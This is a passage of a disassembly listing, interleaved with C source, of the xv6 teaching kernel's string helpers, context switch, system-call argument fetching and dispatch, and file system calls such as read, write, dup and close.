80105233: 8b 45 08 mov 0x8(%ebp),%eax
80105236: 89 45 fc mov %eax,-0x4(%ebp)
while(n-- > 0 && (*s++ = *t++) != 0)
80105239: 90 nop
8010523a: 8b 45 10 mov 0x10(%ebp),%eax
8010523d: 8d 50 ff lea -0x1(%eax),%edx
80105240: 89 55 10 mov %edx,0x10(%ebp)
80105243: 85 c0 test %eax,%eax
80105245: 7e 1e jle 80105265 <strncpy+0x38>
80105247: 8b 45 08 mov 0x8(%ebp),%eax
8010524a: 8d 50 01 lea 0x1(%eax),%edx
8010524d: 89 55 08 mov %edx,0x8(%ebp)
80105250: 8b 55 0c mov 0xc(%ebp),%edx
80105253: 8d 4a 01 lea 0x1(%edx),%ecx
80105256: 89 4d 0c mov %ecx,0xc(%ebp)
80105259: 0f b6 12 movzbl (%edx),%edx
8010525c: 88 10 mov %dl,(%eax)
8010525e: 0f b6 00 movzbl (%eax),%eax
80105261: 84 c0 test %al,%al
80105263: 75 d5 jne 8010523a <strncpy+0xd>
;
while(n-- > 0)
80105265: eb 0c jmp 80105273 <strncpy+0x46>
*s++ = 0;
80105267: 8b 45 08 mov 0x8(%ebp),%eax
8010526a: 8d 50 01 lea 0x1(%eax),%edx
8010526d: 89 55 08 mov %edx,0x8(%ebp)
80105270: c6 00 00 movb $0x0,(%eax)
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
;
while(n-- > 0)
80105273: 8b 45 10 mov 0x10(%ebp),%eax
80105276: 8d 50 ff lea -0x1(%eax),%edx
80105279: 89 55 10 mov %edx,0x10(%ebp)
8010527c: 85 c0 test %eax,%eax
8010527e: 7f e7 jg 80105267 <strncpy+0x3a>
*s++ = 0;
return os;
80105280: 8b 45 fc mov -0x4(%ebp),%eax
}
80105283: c9 leave
80105284: c3 ret
80105285 <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
80105285: 55 push %ebp
80105286: 89 e5 mov %esp,%ebp
80105288: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
8010528b: 8b 45 08 mov 0x8(%ebp),%eax
8010528e: 89 45 fc mov %eax,-0x4(%ebp)
if(n <= 0)
80105291: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80105295: 7f 05 jg 8010529c <safestrcpy+0x17>
return os;
80105297: 8b 45 fc mov -0x4(%ebp),%eax
8010529a: eb 31 jmp 801052cd <safestrcpy+0x48>
while(--n > 0 && (*s++ = *t++) != 0)
8010529c: 83 6d 10 01 subl $0x1,0x10(%ebp)
801052a0: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801052a4: 7e 1e jle 801052c4 <safestrcpy+0x3f>
801052a6: 8b 45 08 mov 0x8(%ebp),%eax
801052a9: 8d 50 01 lea 0x1(%eax),%edx
801052ac: 89 55 08 mov %edx,0x8(%ebp)
801052af: 8b 55 0c mov 0xc(%ebp),%edx
801052b2: 8d 4a 01 lea 0x1(%edx),%ecx
801052b5: 89 4d 0c mov %ecx,0xc(%ebp)
801052b8: 0f b6 12 movzbl (%edx),%edx
801052bb: 88 10 mov %dl,(%eax)
801052bd: 0f b6 00 movzbl (%eax),%eax
801052c0: 84 c0 test %al,%al
801052c2: 75 d8 jne 8010529c <safestrcpy+0x17>
;
*s = 0;
801052c4: 8b 45 08 mov 0x8(%ebp),%eax
801052c7: c6 00 00 movb $0x0,(%eax)
return os;
801052ca: 8b 45 fc mov -0x4(%ebp),%eax
}
801052cd: c9 leave
801052ce: c3 ret
801052cf <strlen>:
int
strlen(const char *s)
{
801052cf: 55 push %ebp
801052d0: 89 e5 mov %esp,%ebp
801052d2: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
801052d5: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
801052dc: eb 04 jmp 801052e2 <strlen+0x13>
801052de: 83 45 fc 01 addl $0x1,-0x4(%ebp)
801052e2: 8b 55 fc mov -0x4(%ebp),%edx
801052e5: 8b 45 08 mov 0x8(%ebp),%eax
801052e8: 01 d0 add %edx,%eax
801052ea: 0f b6 00 movzbl (%eax),%eax
801052ed: 84 c0 test %al,%al
801052ef: 75 ed jne 801052de <strlen+0xf>
;
return n;
801052f1: 8b 45 fc mov -0x4(%ebp),%eax
}
801052f4: c9 leave
801052f5: c3 ret
801052f6 <swtch>:
# Save current register context in old
# and then load register context from new.
.globl swtch
swtch:
movl 4(%esp), %eax
801052f6: 8b 44 24 04 mov 0x4(%esp),%eax
movl 8(%esp), %edx
801052fa: 8b 54 24 08 mov 0x8(%esp),%edx
# Save old callee-save registers
pushl %ebp
801052fe: 55 push %ebp
pushl %ebx
801052ff: 53 push %ebx
pushl %esi
80105300: 56 push %esi
pushl %edi
80105301: 57 push %edi
# Switch stacks
movl %esp, (%eax)
80105302: 89 20 mov %esp,(%eax)
movl %edx, %esp
80105304: 89 d4 mov %edx,%esp
# Load new callee-save registers
popl %edi
80105306: 5f pop %edi
popl %esi
80105307: 5e pop %esi
popl %ebx
80105308: 5b pop %ebx
popl %ebp
80105309: 5d pop %ebp
ret
8010530a: c3 ret
8010530b <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
8010530b: 55 push %ebp
8010530c: 89 e5 mov %esp,%ebp
if(addr >= proc->sz || addr+4 > proc->sz)
8010530e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105314: 8b 00 mov (%eax),%eax
80105316: 3b 45 08 cmp 0x8(%ebp),%eax
80105319: 76 12 jbe 8010532d <fetchint+0x22>
8010531b: 8b 45 08 mov 0x8(%ebp),%eax
8010531e: 8d 50 04 lea 0x4(%eax),%edx
80105321: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105327: 8b 00 mov (%eax),%eax
80105329: 39 c2 cmp %eax,%edx
8010532b: 76 07 jbe 80105334 <fetchint+0x29>
return -1;
8010532d: b8 ff ff ff ff mov $0xffffffff,%eax
80105332: eb 0f jmp 80105343 <fetchint+0x38>
*ip = *(int*)(addr);
80105334: 8b 45 08 mov 0x8(%ebp),%eax
80105337: 8b 10 mov (%eax),%edx
80105339: 8b 45 0c mov 0xc(%ebp),%eax
8010533c: 89 10 mov %edx,(%eax)
return 0;
8010533e: b8 00 00 00 00 mov $0x0,%eax
}
80105343: 5d pop %ebp
80105344: c3 ret
80105345 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
80105345: 55 push %ebp
80105346: 89 e5 mov %esp,%ebp
80105348: 83 ec 10 sub $0x10,%esp
char *s, *ep;
if(addr >= proc->sz)
8010534b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105351: 8b 00 mov (%eax),%eax
80105353: 3b 45 08 cmp 0x8(%ebp),%eax
80105356: 77 07 ja 8010535f <fetchstr+0x1a>
return -1;
80105358: b8 ff ff ff ff mov $0xffffffff,%eax
8010535d: eb 46 jmp 801053a5 <fetchstr+0x60>
*pp = (char*)addr;
8010535f: 8b 55 08 mov 0x8(%ebp),%edx
80105362: 8b 45 0c mov 0xc(%ebp),%eax
80105365: 89 10 mov %edx,(%eax)
ep = (char*)proc->sz;
80105367: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010536d: 8b 00 mov (%eax),%eax
8010536f: 89 45 f8 mov %eax,-0x8(%ebp)
for(s = *pp; s < ep; s++)
80105372: 8b 45 0c mov 0xc(%ebp),%eax
80105375: 8b 00 mov (%eax),%eax
80105377: 89 45 fc mov %eax,-0x4(%ebp)
8010537a: eb 1c jmp 80105398 <fetchstr+0x53>
if(*s == 0)
8010537c: 8b 45 fc mov -0x4(%ebp),%eax
8010537f: 0f b6 00 movzbl (%eax),%eax
80105382: 84 c0 test %al,%al
80105384: 75 0e jne 80105394 <fetchstr+0x4f>
return s - *pp;
80105386: 8b 55 fc mov -0x4(%ebp),%edx
80105389: 8b 45 0c mov 0xc(%ebp),%eax
8010538c: 8b 00 mov (%eax),%eax
8010538e: 29 c2 sub %eax,%edx
80105390: 89 d0 mov %edx,%eax
80105392: eb 11 jmp 801053a5 <fetchstr+0x60>
if(addr >= proc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
80105394: 83 45 fc 01 addl $0x1,-0x4(%ebp)
80105398: 8b 45 fc mov -0x4(%ebp),%eax
8010539b: 3b 45 f8 cmp -0x8(%ebp),%eax
8010539e: 72 dc jb 8010537c <fetchstr+0x37>
if(*s == 0)
return s - *pp;
return -1;
801053a0: b8 ff ff ff ff mov $0xffffffff,%eax
}
801053a5: c9 leave
801053a6: c3 ret
801053a7 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
801053a7: 55 push %ebp
801053a8: 89 e5 mov %esp,%ebp
801053aa: 83 ec 08 sub $0x8,%esp
return fetchint(proc->tf->esp + 4 + 4*n, ip);
801053ad: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801053b3: 8b 40 18 mov 0x18(%eax),%eax
801053b6: 8b 50 44 mov 0x44(%eax),%edx
801053b9: 8b 45 08 mov 0x8(%ebp),%eax
801053bc: c1 e0 02 shl $0x2,%eax
801053bf: 01 d0 add %edx,%eax
801053c1: 8d 50 04 lea 0x4(%eax),%edx
801053c4: 8b 45 0c mov 0xc(%ebp),%eax
801053c7: 89 44 24 04 mov %eax,0x4(%esp)
801053cb: 89 14 24 mov %edx,(%esp)
801053ce: e8 38 ff ff ff call 8010530b <fetchint>
}
801053d3: c9 leave
801053d4: c3 ret
801053d5 <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size n bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
801053d5: 55 push %ebp
801053d6: 89 e5 mov %esp,%ebp
801053d8: 83 ec 18 sub $0x18,%esp
int i;
if(argint(n, &i) < 0)
801053db: 8d 45 fc lea -0x4(%ebp),%eax
801053de: 89 44 24 04 mov %eax,0x4(%esp)
801053e2: 8b 45 08 mov 0x8(%ebp),%eax
801053e5: 89 04 24 mov %eax,(%esp)
801053e8: e8 ba ff ff ff call 801053a7 <argint>
801053ed: 85 c0 test %eax,%eax
801053ef: 79 07 jns 801053f8 <argptr+0x23>
return -1;
801053f1: b8 ff ff ff ff mov $0xffffffff,%eax
801053f6: eb 3d jmp 80105435 <argptr+0x60>
if((uint)i >= proc->sz || (uint)i+size > proc->sz)
801053f8: 8b 45 fc mov -0x4(%ebp),%eax
801053fb: 89 c2 mov %eax,%edx
801053fd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105403: 8b 00 mov (%eax),%eax
80105405: 39 c2 cmp %eax,%edx
80105407: 73 16 jae 8010541f <argptr+0x4a>
80105409: 8b 45 fc mov -0x4(%ebp),%eax
8010540c: 89 c2 mov %eax,%edx
8010540e: 8b 45 10 mov 0x10(%ebp),%eax
80105411: 01 c2 add %eax,%edx
80105413: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105419: 8b 00 mov (%eax),%eax
8010541b: 39 c2 cmp %eax,%edx
8010541d: 76 07 jbe 80105426 <argptr+0x51>
return -1;
8010541f: b8 ff ff ff ff mov $0xffffffff,%eax
80105424: eb 0f jmp 80105435 <argptr+0x60>
*pp = (char*)i;
80105426: 8b 45 fc mov -0x4(%ebp),%eax
80105429: 89 c2 mov %eax,%edx
8010542b: 8b 45 0c mov 0xc(%ebp),%eax
8010542e: 89 10 mov %edx,(%eax)
return 0;
80105430: b8 00 00 00 00 mov $0x0,%eax
}
80105435: c9 leave
80105436: c3 ret
80105437 <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
80105437: 55 push %ebp
80105438: 89 e5 mov %esp,%ebp
8010543a: 83 ec 18 sub $0x18,%esp
int addr;
if(argint(n, &addr) < 0)
8010543d: 8d 45 fc lea -0x4(%ebp),%eax
80105440: 89 44 24 04 mov %eax,0x4(%esp)
80105444: 8b 45 08 mov 0x8(%ebp),%eax
80105447: 89 04 24 mov %eax,(%esp)
8010544a: e8 58 ff ff ff call 801053a7 <argint>
8010544f: 85 c0 test %eax,%eax
80105451: 79 07 jns 8010545a <argstr+0x23>
return -1;
80105453: b8 ff ff ff ff mov $0xffffffff,%eax
80105458: eb 12 jmp 8010546c <argstr+0x35>
return fetchstr(addr, pp);
8010545a: 8b 45 fc mov -0x4(%ebp),%eax
8010545d: 8b 55 0c mov 0xc(%ebp),%edx
80105460: 89 54 24 04 mov %edx,0x4(%esp)
80105464: 89 04 24 mov %eax,(%esp)
80105467: e8 d9 fe ff ff call 80105345 <fetchstr>
}
8010546c: c9 leave
8010546d: c3 ret
8010546e <syscall>:
[SYS_close] sys_close,
};
void
syscall(void)
{
8010546e: 55 push %ebp
8010546f: 89 e5 mov %esp,%ebp
80105471: 53 push %ebx
80105472: 83 ec 24 sub $0x24,%esp
int num;
num = proc->tf->eax;
80105475: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010547b: 8b 40 18 mov 0x18(%eax),%eax
8010547e: 8b 40 1c mov 0x1c(%eax),%eax
80105481: 89 45 f4 mov %eax,-0xc(%ebp)
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80105484: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105488: 7e 30 jle 801054ba <syscall+0x4c>
8010548a: 8b 45 f4 mov -0xc(%ebp),%eax
8010548d: 83 f8 15 cmp $0x15,%eax
80105490: 77 28 ja 801054ba <syscall+0x4c>
80105492: 8b 45 f4 mov -0xc(%ebp),%eax
80105495: 8b 04 85 40 b0 10 80 mov -0x7fef4fc0(,%eax,4),%eax
8010549c: 85 c0 test %eax,%eax
8010549e: 74 1a je 801054ba <syscall+0x4c>
proc->tf->eax = syscalls[num]();
801054a0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801054a6: 8b 58 18 mov 0x18(%eax),%ebx
801054a9: 8b 45 f4 mov -0xc(%ebp),%eax
801054ac: 8b 04 85 40 b0 10 80 mov -0x7fef4fc0(,%eax,4),%eax
801054b3: ff d0 call *%eax
801054b5: 89 43 1c mov %eax,0x1c(%ebx)
801054b8: eb 3d jmp 801054f7 <syscall+0x89>
} else {
cprintf("%d %s: unknown sys call %d\n",
proc->pid, proc->name, num);
801054ba: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801054c0: 8d 48 6c lea 0x6c(%eax),%ecx
801054c3: 65 a1 04 00 00 00 mov %gs:0x4,%eax
num = proc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
proc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
801054c9: 8b 40 10 mov 0x10(%eax),%eax
801054cc: 8b 55 f4 mov -0xc(%ebp),%edx
801054cf: 89 54 24 0c mov %edx,0xc(%esp)
801054d3: 89 4c 24 08 mov %ecx,0x8(%esp)
801054d7: 89 44 24 04 mov %eax,0x4(%esp)
801054db: c7 04 24 7f 8a 10 80 movl $0x80108a7f,(%esp)
801054e2: e8 b9 ae ff ff call 801003a0 <cprintf>
proc->pid, proc->name, num);
proc->tf->eax = -1;
801054e7: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801054ed: 8b 40 18 mov 0x18(%eax),%eax
801054f0: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
}
801054f7: 83 c4 24 add $0x24,%esp
801054fa: 5b pop %ebx
801054fb: 5d pop %ebp
801054fc: c3 ret
801054fd <argfd>:
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
{
801054fd: 55 push %ebp
801054fe: 89 e5 mov %esp,%ebp
80105500: 83 ec 28 sub $0x28,%esp
int fd;
struct file *f;
if(argint(n, &fd) < 0)
80105503: 8d 45 f0 lea -0x10(%ebp),%eax
80105506: 89 44 24 04 mov %eax,0x4(%esp)
8010550a: 8b 45 08 mov 0x8(%ebp),%eax
8010550d: 89 04 24 mov %eax,(%esp)
80105510: e8 92 fe ff ff call 801053a7 <argint>
80105515: 85 c0 test %eax,%eax
80105517: 79 07 jns 80105520 <argfd+0x23>
return -1;
80105519: b8 ff ff ff ff mov $0xffffffff,%eax
8010551e: eb 50 jmp 80105570 <argfd+0x73>
if(fd < 0 || fd >= NOFILE || (f=proc->ofile[fd]) == 0)
80105520: 8b 45 f0 mov -0x10(%ebp),%eax
80105523: 85 c0 test %eax,%eax
80105525: 78 21 js 80105548 <argfd+0x4b>
80105527: 8b 45 f0 mov -0x10(%ebp),%eax
8010552a: 83 f8 0f cmp $0xf,%eax
8010552d: 7f 19 jg 80105548 <argfd+0x4b>
8010552f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105535: 8b 55 f0 mov -0x10(%ebp),%edx
80105538: 83 c2 08 add $0x8,%edx
8010553b: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
8010553f: 89 45 f4 mov %eax,-0xc(%ebp)
80105542: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105546: 75 07 jne 8010554f <argfd+0x52>
return -1;
80105548: b8 ff ff ff ff mov $0xffffffff,%eax
8010554d: eb 21 jmp 80105570 <argfd+0x73>
if(pfd)
8010554f: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80105553: 74 08 je 8010555d <argfd+0x60>
*pfd = fd;
80105555: 8b 55 f0 mov -0x10(%ebp),%edx
80105558: 8b 45 0c mov 0xc(%ebp),%eax
8010555b: 89 10 mov %edx,(%eax)
if(pf)
8010555d: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80105561: 74 08 je 8010556b <argfd+0x6e>
*pf = f;
80105563: 8b 45 10 mov 0x10(%ebp),%eax
80105566: 8b 55 f4 mov -0xc(%ebp),%edx
80105569: 89 10 mov %edx,(%eax)
return 0;
8010556b: b8 00 00 00 00 mov $0x0,%eax
}
80105570: c9 leave
80105571: c3 ret
80105572 <fdalloc>:
// Allocate a file descriptor for the given file.
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
80105572: 55 push %ebp
80105573: 89 e5 mov %esp,%ebp
80105575: 83 ec 10 sub $0x10,%esp
int fd;
for(fd = 0; fd < NOFILE; fd++){
80105578: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
8010557f: eb 30 jmp 801055b1 <fdalloc+0x3f>
if(proc->ofile[fd] == 0){
80105581: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105587: 8b 55 fc mov -0x4(%ebp),%edx
8010558a: 83 c2 08 add $0x8,%edx
8010558d: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80105591: 85 c0 test %eax,%eax
80105593: 75 18 jne 801055ad <fdalloc+0x3b>
proc->ofile[fd] = f;
80105595: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010559b: 8b 55 fc mov -0x4(%ebp),%edx
8010559e: 8d 4a 08 lea 0x8(%edx),%ecx
801055a1: 8b 55 08 mov 0x8(%ebp),%edx
801055a4: 89 54 88 08 mov %edx,0x8(%eax,%ecx,4)
return fd;
801055a8: 8b 45 fc mov -0x4(%ebp),%eax
801055ab: eb 0f jmp 801055bc <fdalloc+0x4a>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
801055ad: 83 45 fc 01 addl $0x1,-0x4(%ebp)
801055b1: 83 7d fc 0f cmpl $0xf,-0x4(%ebp)
801055b5: 7e ca jle 80105581 <fdalloc+0xf>
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
return fd;
}
}
return -1;
801055b7: b8 ff ff ff ff mov $0xffffffff,%eax
}
801055bc: c9 leave
801055bd: c3 ret
801055be <sys_dup>:
int
sys_dup(void)
{
801055be: 55 push %ebp
801055bf: 89 e5 mov %esp,%ebp
801055c1: 83 ec 28 sub $0x28,%esp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
801055c4: 8d 45 f0 lea -0x10(%ebp),%eax
801055c7: 89 44 24 08 mov %eax,0x8(%esp)
801055cb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801055d2: 00
801055d3: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801055da: e8 1e ff ff ff call 801054fd <argfd>
801055df: 85 c0 test %eax,%eax
801055e1: 79 07 jns 801055ea <sys_dup+0x2c>
return -1;
801055e3: b8 ff ff ff ff mov $0xffffffff,%eax
801055e8: eb 29 jmp 80105613 <sys_dup+0x55>
if((fd=fdalloc(f)) < 0)
801055ea: 8b 45 f0 mov -0x10(%ebp),%eax
801055ed: 89 04 24 mov %eax,(%esp)
801055f0: e8 7d ff ff ff call 80105572 <fdalloc>
801055f5: 89 45 f4 mov %eax,-0xc(%ebp)
801055f8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801055fc: 79 07 jns 80105605 <sys_dup+0x47>
return -1;
801055fe: b8 ff ff ff ff mov $0xffffffff,%eax
80105603: eb 0e jmp 80105613 <sys_dup+0x55>
filedup(f);
80105605: 8b 45 f0 mov -0x10(%ebp),%eax
80105608: 89 04 24 mov %eax,(%esp)
8010560b: e8 76 b9 ff ff call 80100f86 <filedup>
return fd;
80105610: 8b 45 f4 mov -0xc(%ebp),%eax
}
80105613: c9 leave
80105614: c3 ret
80105615 <sys_read>:
int
sys_read(void)
{
80105615: 55 push %ebp
80105616: 89 e5 mov %esp,%ebp
80105618: 83 ec 28 sub $0x28,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
8010561b: 8d 45 f4 lea -0xc(%ebp),%eax
8010561e: 89 44 24 08 mov %eax,0x8(%esp)
80105622: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105629: 00
8010562a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105631: e8 c7 fe ff ff call 801054fd <argfd>
80105636: 85 c0 test %eax,%eax
80105638: 78 35 js 8010566f <sys_read+0x5a>
8010563a: 8d 45 f0 lea -0x10(%ebp),%eax
8010563d: 89 44 24 04 mov %eax,0x4(%esp)
80105641: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80105648: e8 5a fd ff ff call 801053a7 <argint>
8010564d: 85 c0 test %eax,%eax
8010564f: 78 1e js 8010566f <sys_read+0x5a>
80105651: 8b 45 f0 mov -0x10(%ebp),%eax
80105654: 89 44 24 08 mov %eax,0x8(%esp)
80105658: 8d 45 ec lea -0x14(%ebp),%eax
8010565b: 89 44 24 04 mov %eax,0x4(%esp)
8010565f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105666: e8 6a fd ff ff call 801053d5 <argptr>
8010566b: 85 c0 test %eax,%eax
8010566d: 79 07 jns 80105676 <sys_read+0x61>
return -1;
8010566f: b8 ff ff ff ff mov $0xffffffff,%eax
80105674: eb 19 jmp 8010568f <sys_read+0x7a>
return fileread(f, p, n);
80105676: 8b 4d f0 mov -0x10(%ebp),%ecx
80105679: 8b 55 ec mov -0x14(%ebp),%edx
8010567c: 8b 45 f4 mov -0xc(%ebp),%eax
8010567f: 89 4c 24 08 mov %ecx,0x8(%esp)
80105683: 89 54 24 04 mov %edx,0x4(%esp)
80105687: 89 04 24 mov %eax,(%esp)
8010568a: e8 64 ba ff ff call 801010f3 <fileread>
}
8010568f: c9 leave
80105690: c3 ret
80105691 <sys_write>:
int
sys_write(void)
{
80105691: 55 push %ebp
80105692: 89 e5 mov %esp,%ebp
80105694: 83 ec 28 sub $0x28,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80105697: 8d 45 f4 lea -0xc(%ebp),%eax
8010569a: 89 44 24 08 mov %eax,0x8(%esp)
8010569e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801056a5: 00
801056a6: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801056ad: e8 4b fe ff ff call 801054fd <argfd>
801056b2: 85 c0 test %eax,%eax
801056b4: 78 35 js 801056eb <sys_write+0x5a>
801056b6: 8d 45 f0 lea -0x10(%ebp),%eax
801056b9: 89 44 24 04 mov %eax,0x4(%esp)
801056bd: c7 04 24 02 00 00 00 movl $0x2,(%esp)
801056c4: e8 de fc ff ff call 801053a7 <argint>
801056c9: 85 c0 test %eax,%eax
801056cb: 78 1e js 801056eb <sys_write+0x5a>
801056cd: 8b 45 f0 mov -0x10(%ebp),%eax
801056d0: 89 44 24 08 mov %eax,0x8(%esp)
801056d4: 8d 45 ec lea -0x14(%ebp),%eax
801056d7: 89 44 24 04 mov %eax,0x4(%esp)
801056db: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801056e2: e8 ee fc ff ff call 801053d5 <argptr>
801056e7: 85 c0 test %eax,%eax
801056e9: 79 07 jns 801056f2 <sys_write+0x61>
return -1;
801056eb: b8 ff ff ff ff mov $0xffffffff,%eax
801056f0: eb 19 jmp 8010570b <sys_write+0x7a>
return filewrite(f, p, n);
801056f2: 8b 4d f0 mov -0x10(%ebp),%ecx
801056f5: 8b 55 ec mov -0x14(%ebp),%edx
801056f8: 8b 45 f4 mov -0xc(%ebp),%eax
801056fb: 89 4c 24 08 mov %ecx,0x8(%esp)
801056ff: 89 54 24 04 mov %edx,0x4(%esp)
80105703: 89 04 24 mov %eax,(%esp)
80105706: e8 a4 ba ff ff call 801011af <filewrite>
}
8010570b: c9 leave
8010570c: c3 ret
8010570d <sys_close>:
int
sys_close(void)
{
8010570d: 55 push %ebp
8010570e: 89 e5 mov %esp,%ebp
80105710: 83 ec 28 sub $0x28,%esp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
80105713: 8d 45 f0 lea -0x10(%ebp),%eax
80105716: 89 44 24 08 mov %eax,0x8(%esp)
8010571a: 8d 45 f4 lea -0xc(%ebp),%eax
8010571d: 89 44 24 04 mov %eax,0x4(%esp)
80105721: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105728: e8 d0 fd ff ff call 801054fd <argfd>
8010572d: 85 c0 test %eax,%eax
8010572f: 79 07 jns 80105738 <sys_close+0x2b>
return -1;
80105731: b8 ff ff ff ff mov $0xffffffff,%eax
80105736: eb 24 jmp 8010575c <sys_close+0x4f>
proc->ofile[fd] = 0;
80105738: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010573e: 8b 55 f4 mov -0xc(%ebp),%edx
80105741: 83 c2 08 add $0x8,%edx
80105744: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
8010574b: 00
fileclose(f);
8010574c: 8b 45 f0 mov -0x10(%ebp),%eax
8010574f: 89 04 24 mov %eax,(%esp)
80105752: e8 77 b8 ff ff call 80100fce <fileclose>
return 0;
80105757: b8 00 00 00 00 mov $0x0,%eax
}
8010575c: c9 leave
8010575d: c3 ret
8010575e <sys_fstat>:
int
sys_fstat(void)
{
8010575e: 55 push %ebp
8010575f: 89 e5 mov %esp,%ebp
80105761: 83 ec 28 sub $0x28,%esp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80105764: 8d 45 f4 lea -0xc(%ebp),%eax
80105767: 89 44 24 08 mov %eax,0x8(%esp)
8010576b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105772: 00
80105773: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010577a: e8 7e fd ff ff call 801054fd <argfd>
8010577f: 85 c0 test %eax,%eax
80105781: 78 1f js 801057a2 <sys_fstat+0x44>
80105783: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
8010578a: 00
8010578b: 8d 45 f0 lea -0x10(%ebp),%eax
8010578e: 89 44 24 04 mov %eax,0x4(%esp)
80105792: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105799: e8 37 fc ff ff call 801053d5 <argptr>
8010579e: 85 c0 test %eax,%eax
801057a0: 79 07 jns 801057a9 <sys_fstat+0x4b>
return -1;
801057a2: b8 ff ff ff ff mov $0xffffffff,%eax
801057a7: eb 12 jmp 801057bb <sys_fstat+0x5d>
return filestat(f, st);
801057a9: 8b 55 f0 mov -0x10(%ebp),%edx
801057ac: 8b 45 f4 mov -0xc(%ebp),%eax
801057af: 89 54 24 04 mov %edx,0x4(%esp)
801057b3: 89 04 24 mov %eax,(%esp)
801057b6: e8 e9 b8 ff ff call 801010a4 <filestat>
}
801057bb: c9 leave
801057bc: c3 ret
801057bd <sys_link>:
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
801057bd: 55 push %ebp
801057be: 89 e5 mov %esp,%ebp
801057c0: 83 ec 38 sub $0x38,%esp
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
801057c3: 8d 45 d8 lea -0x28(%ebp),%eax
801057c6: 89 44 24 04 mov %eax,0x4(%esp)
801057ca: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801057d1: e8 61 fc ff ff call 80105437 <argstr>
801057d6: 85 c0 test %eax,%eax
801057d8: 78 17 js 801057f1 <sys_link+0x34>
801057da: 8d 45 dc lea -0x24(%ebp),%eax
801057dd: 89 44 24 04 mov %eax,0x4(%esp)
801057e1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801057e8: e8 4a fc ff ff call 80105437 <argstr>
801057ed: 85 c0 test %eax,%eax
801057ef: 79 0a jns 801057fb <sys_link+0x3e>
return -1;
801057f1: b8 ff ff ff ff mov $0xffffffff,%eax
801057f6: e9 42 01 00 00 jmp 8010593d <sys_link+0x180>
begin_op();
801057fb: e8 10 dc ff ff call 80103410 <begin_op>
